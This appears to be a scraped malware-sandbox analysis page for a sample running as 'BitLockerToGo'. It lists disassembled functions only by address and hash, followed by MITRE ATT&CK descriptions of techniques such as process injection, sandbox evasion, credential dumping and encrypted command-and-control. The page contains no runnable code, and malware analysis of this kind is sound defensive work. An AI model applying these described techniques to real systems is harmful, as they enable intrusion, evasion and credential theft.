Opcode Fuzzy Hash: a6701004c874a998607f8c90a1ee46f1f533f7853715775656e75c825a51a4ac
Instruction Fuzzy Hash: DF52233651C290DFDB408F38FA693667BE4BB4A302F49C8B9D5D4832A2D3B9C954CB51

Function 00265F90 Relevance: .8, Instructions: 750COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27eb6b1ab59a9bd93b79acd7978dc1ec68636393047082fe3443230a8fe15e01
Instruction ID: 21cf684180b05c54753e6a5f02d49a0bc7675c08565aac5eb43dafcda6d89d09
Opcode Fuzzy Hash: 27eb6b1ab59a9bd93b79acd7978dc1ec68636393047082fe3443230a8fe15e01
Instruction Fuzzy Hash: 9042E2B56183428FD714CF18C894B2ABBE6FFC4318F188A2DE4958B391D735E855CB92

Function 002699C0 Relevance: .7, Instructions: 696COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b9adb391483e5d5fbcee3a82491cd67babeae1c66e1fa1634ee41824145e059
Instruction ID: 1b889e8ae511fc5bac140701d2a1f2844bcd92dc4f9e179a3e7636d7ebc57979
Opcode Fuzzy Hash: 9b9adb391483e5d5fbcee3a82491cd67babeae1c66e1fa1634ee41824145e059
Instruction Fuzzy Hash: A3321332A18652CFC714CF28D49465ABBF2FF8A304F1A896DE89997351C731ED91CB81

Function 00234240 Relevance: .6, Instructions: 612COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80e89722e92610840e5d293fa9b68fed828d9a1d68404160044e842a9668256e
Instruction ID: 6633f40d434999083a14676efc85240ba2e07c1ff0ef1ccbe9e8afce25781d1a
Opcode Fuzzy Hash: 80e89722e92610840e5d293fa9b68fed828d9a1d68404160044e842a9668256e
Instruction Fuzzy Hash: 334243B0524B518FC368DF28C59066ABBE1FF55310FA08A6EE6978BB90D375F854CB10

Function 00252052 Relevance: .6, Instructions: 585COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 012a25b2b8837a9f8b54d7ec27b3d7c69ca192a67525f2d31eed0e864a1e916b
Instruction ID: d7a564436d5bc6246d93b63ab4257a27b5770b8f45503e99adf5bae1239f4ed4
Opcode Fuzzy Hash: 012a25b2b8837a9f8b54d7ec27b3d7c69ca192a67525f2d31eed0e864a1e916b
Instruction Fuzzy Hash: 640222B1618342CFC718CF24D49166FB7E2AF9A305F08486DE8C687392E635D95DCB92

Function 00236470 Relevance: .5, Instructions: 512COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2a5755e2a59bbed780f8d4f3a0a68a16a3bd155a12886517b918d5d612f8f63
Instruction ID: 88f5cddcc6be876f806a954dba606627b76f52aae40b42b1ee4774d491513a30
Opcode Fuzzy Hash: b2a5755e2a59bbed780f8d4f3a0a68a16a3bd155a12886517b918d5d612f8f63
Instruction Fuzzy Hash: 3D02C3766083419FCB14CF29C88571BBBE6AFC9304F09886DF888CB352D675D855CB96

Function 00269CE0 Relevance: .5, Instructions: 477COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03b09ce9045f1b8077d3ceeb41a4b7681c88737f6c998fbbf5fa05c3a5fd5f0d
Instruction ID: 7728b7447b0236e195a8b41c5f372950874e4e3acb58f16cc323bd0fe0a73c54
Opcode Fuzzy Hash: 03b09ce9045f1b8077d3ceeb41a4b7681c88737f6c998fbbf5fa05c3a5fd5f0d
Instruction Fuzzy Hash: 1CF12135628652CFC724CF29D89465AFBF2FF8A304F19896DE89987351C731E991CB80

Function 0026B270 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3124e0819a2085de69f70e902e192de122f5c6ed167216d3281c8f8f1617fff0
Instruction ID: 51d3482f2732dcc4fa86d1ff63745da6816f9762cb5691f12e0ef6602852c910
Opcode Fuzzy Hash: 3124e0819a2085de69f70e902e192de122f5c6ed167216d3281c8f8f1617fff0
Instruction Fuzzy Hash: 3CA1B4716143029BD725CF28C890A6FB7E2FF84704F55896CE88A8B351EB30DC95CB91

Function 0026B5C0 Relevance: .3, Instructions: 313COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3029d97b47de93c534ad0e2e7f75eb7e45104ab41e8833860401a598dd74089
Instruction ID: d416b74d9d6218ddc159ee1dc4d045fe455af8aa9d56053da4fb57bb1f08e65f
Opcode Fuzzy Hash: d3029d97b47de93c534ad0e2e7f75eb7e45104ab41e8833860401a598dd74089
Instruction Fuzzy Hash: D3A1D172A243128BC716CF18C890A6AB3E6FF94754F19852CE9969B350D730ECA1CBD1

Function 002586C4 Relevance: .3, Instructions: 309COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 213a3293fb712bfeb4d89947be2a45a76ef7a6a22d7f22ace4f7a6c71636ae3f
Instruction ID: 1446815572b18dd944728ad209efe5ed2352a14cd6f228159fa1bb72b82c7801
Opcode Fuzzy Hash: 213a3293fb712bfeb4d89947be2a45a76ef7a6a22d7f22ace4f7a6c71636ae3f
Instruction Fuzzy Hash: 91A1DE701147818FDB25CF29C0D4B22BBF1AF16305F18898DD8D69F786C7B9A819CB65

Function 002586C7 Relevance: .3, Instructions: 286COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7479a205f0e3c677d06c9749efa991ccc7a6381667ca03fd99f67494d5b36b2c
Instruction ID: 72a01b1a3dd710a4f9c7e43b268c4d9d360d20b0a5add8155fb1c6848a2bbb21
Opcode Fuzzy Hash: 7479a205f0e3c677d06c9749efa991ccc7a6381667ca03fd99f67494d5b36b2c
Instruction Fuzzy Hash: AAA1BB701147818FDB288F24C494B22BBF1BF16305F18899DC8D69F786C7B9A819CBA5

Function 00259BC7 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77897a978281c6e62a68f60fbda1dd05a9de1741ab7495d51e2174554a496b31
Instruction ID: 137b7588f924467820da2fa36fcee884c46118c035e2d4d5a302e8d6ab9e52f9
Opcode Fuzzy Hash: 77897a978281c6e62a68f60fbda1dd05a9de1741ab7495d51e2174554a496b31
Instruction Fuzzy Hash: 89A1F675604B41CFC325CF38C490B92B7E2FF9A315F194A6DD8A68B792D735A849CB40

Function 00262CC0 Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e242761953c6edb62a277dc0dd629e6b080038304fd9b688f905b25d1d98600
Instruction ID: 5312d087b2b2bbdbe13b730fb06ad45aea7367f7dcb8feb9194218007107a830
Opcode Fuzzy Hash: 8e242761953c6edb62a277dc0dd629e6b080038304fd9b688f905b25d1d98600
Instruction Fuzzy Hash: DD619EB55087548FE310DF29D89035BBBE1BBC8358F044A2DE5E987391E379DA488F92

Function 00232CA0 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96a1be833e4fedff33bf1373e799afc0129166239b85ee2cd1ddc06d011e721b
Instruction ID: e88a824bc39d0cd5d984acaeabb89a423a003c56b55b1e8d7efdc6d230fce201
Opcode Fuzzy Hash: 96a1be833e4fedff33bf1373e799afc0129166239b85ee2cd1ddc06d011e721b
Instruction Fuzzy Hash: A651F6B0504205DFD704AF68FD0971BBBA1FF40318F088639E85AD66A1E775E978CB86

Function 002537FE Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a816a7074a83e9da863b80ff68aeb835d7d9ccb8d586ae41367d58cc7121a1a
Instruction ID: e30c1c044e484fa918e16f86e97acdaf59d4be9297d86fa9814061ff1bc1a052
Opcode Fuzzy Hash: 2a816a7074a83e9da863b80ff68aeb835d7d9ccb8d586ae41367d58cc7121a1a
Instruction Fuzzy Hash: D151E4B1A183018FC718CF28C89062AB7E2FFC9314F19862DE88A9B395D734ED15CB55

Function 00256A83 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76717db16c56d4573ae44454bcc0e6b4fdfb5f2597146a6669d1fab15071936c
Instruction ID: ac19fc569e5835849dfb7eb30b33f4a62556ea8e5d3dc6ddbe9681ecaaed4b02
Opcode Fuzzy Hash: 76717db16c56d4573ae44454bcc0e6b4fdfb5f2597146a6669d1fab15071936c
Instruction Fuzzy Hash: C65169701107418FDB258F24C4D4B22BBF1BF06305F18899CD89A9B786CBB5E859CBA5

Function 00245A90 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1da209b17b01932e3b05467e7b292eb36af367a4f5526fb592f0d38a06d77a98
Instruction ID: 5f6f569198193ac5e0cdb82c034a0dec99fa37c0ccb1a575d8c664fca4621058
Opcode Fuzzy Hash: 1da209b17b01932e3b05467e7b292eb36af367a4f5526fb592f0d38a06d77a98
Instruction Fuzzy Hash: B14148B2928B298BD3259F54C8C0726F7D8EF61318F094669E8C947283EB71DC24C752

Function 0023F300 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efe868ee5ba58c5bef0459794eba2dbd496e49c224836a1f8003f6dd08ea4d3a
Instruction ID: 489eee55b43af34d753f1a3bc2198b35fe10394c8af40d33cb73487fc6ffdd1c
Opcode Fuzzy Hash: efe868ee5ba58c5bef0459794eba2dbd496e49c224836a1f8003f6dd08ea4d3a
Instruction Fuzzy Hash: 554117B2A182604FE3488E39D59037ABBD2DFC9350F05867DF1E9873D1C6788845EB11

Function 0026FACD Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b41b96781d23829e2df609b6ce1633b3bf422ab2bb4ed606be739754ddd4995d
Instruction ID: a25cdb1854995a45bc617a4837d22dd9654c7102f2bccb8378ec939a06858b5e
Opcode Fuzzy Hash: b41b96781d23829e2df609b6ce1633b3bf422ab2bb4ed606be739754ddd4995d
Instruction Fuzzy Hash: 6D41A9A646DBC25FCB43C7388CFA680BF70AD1320534E61DFC0818F497D619A829E756

Function 002504D6 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 905e6ff41130ed2f69832d99538fbac8ad211432f811d5c02125e523ae7de41b
Instruction ID: 06136ab4ce5d419df85cc6da42f892cd0344d93c32645877c60b34649ae900eb
Opcode Fuzzy Hash: 905e6ff41130ed2f69832d99538fbac8ad211432f811d5c02125e523ae7de41b
Instruction Fuzzy Hash: 1A117C30614B018FD728CF15C8D4A37B7E2BB89312F94991CD4DB07A65E730E885CB58

Function 002403C8 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a446bb6d51ed20c487d07830c3fc52519b522961cbdca932543cfbef497af478
Instruction ID: f86f23ea02d0797c9cdea6271e4f403ff42a0f3f5fb0bf157ad0d53791ae0b6e
Opcode Fuzzy Hash: a446bb6d51ed20c487d07830c3fc52519b522961cbdca932543cfbef497af478
Instruction Fuzzy Hash: D931E3711687419BD318DF14C8A4A6FB3E2FFC5308F548A1DE58A132A1CB70AD96CF82

Function 00260B80 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 7789e973b11ddd731561f600723d51bde43e4826aeefb262e085635853d896f4
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 77110C33A251D54EC3168D3C8450667BFA30AA3239F5D8399F4F59B2D2D6238DCBA354

Function 00255920 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c49112d934dcffccd5e1c29842df051fe1fc1f71b2fbc50dc5ac815b336ea4f
Instruction ID: 7258d20d370e6029e275e1b1f7115733242c1c1cc471895f2bed79ee9eb896fa
Opcode Fuzzy Hash: 4c49112d934dcffccd5e1c29842df051fe1fc1f71b2fbc50dc5ac815b336ea4f
Instruction Fuzzy Hash: EC01B5F1620B5387DB209E14D4E077BF2A9AF44729F08002CEC099B201DB79FC2986D9

Function 00233510 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c42958cf081c73a235c3fdb2ae9f6623085816a4b10f424cfb641ab42021d86
Instruction ID: 12e4c9696e99212f53c9626bd2aeedce5cf63f9bba42b6d5db47e53f3689d8dd
Opcode Fuzzy Hash: 3c42958cf081c73a235c3fdb2ae9f6623085816a4b10f424cfb641ab42021d86
Instruction Fuzzy Hash: A1F02E777352161BA320CD6AECC0937F356D7CD654F1A503DE581D3601C571EE129390

Function 0023C113 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60e3998aa491883378bed81065d5de250d8eddc4a97dd8f0c60c9f1a266c8c84
Instruction ID: 539a0eeffdac98e8dfc297ab1708a8d43ab128ac0859ecbd2f289cb064f43d58
Opcode Fuzzy Hash: 60e3998aa491883378bed81065d5de250d8eddc4a97dd8f0c60c9f1a266c8c84
Instruction Fuzzy Hash: C0E0DF742053824FD7594F22E868B233BB09B47210F06D42DD443C7691C674D840CB14

Function 0023E2D0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction ID: 42e71289043893d4359e32e950a8f69caec7ff62920eec2ef020d8a8eea0d04f
Opcode Fuzzy Hash: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction Fuzzy Hash: 27D0A7B15487B20E5B588D3804A0977FBECE987652F18149EF8D1E3145D220DC16869D

Function 0024F283 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 152f3d6da3e5575bbc73eb3aa325bd4325eff911f681030466b80362a5b34b9e
Instruction ID: d0bc14a84512e6653e09f8dde52d1498a50c1e468d528054ec252232bf9ed5d8
Opcode Fuzzy Hash: 152f3d6da3e5575bbc73eb3aa325bd4325eff911f681030466b80362a5b34b9e
Instruction Fuzzy Hash: DDB092E5C126918A91212A103C134EBF0260A1325EF082030F80A66212AA26D26B499F

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

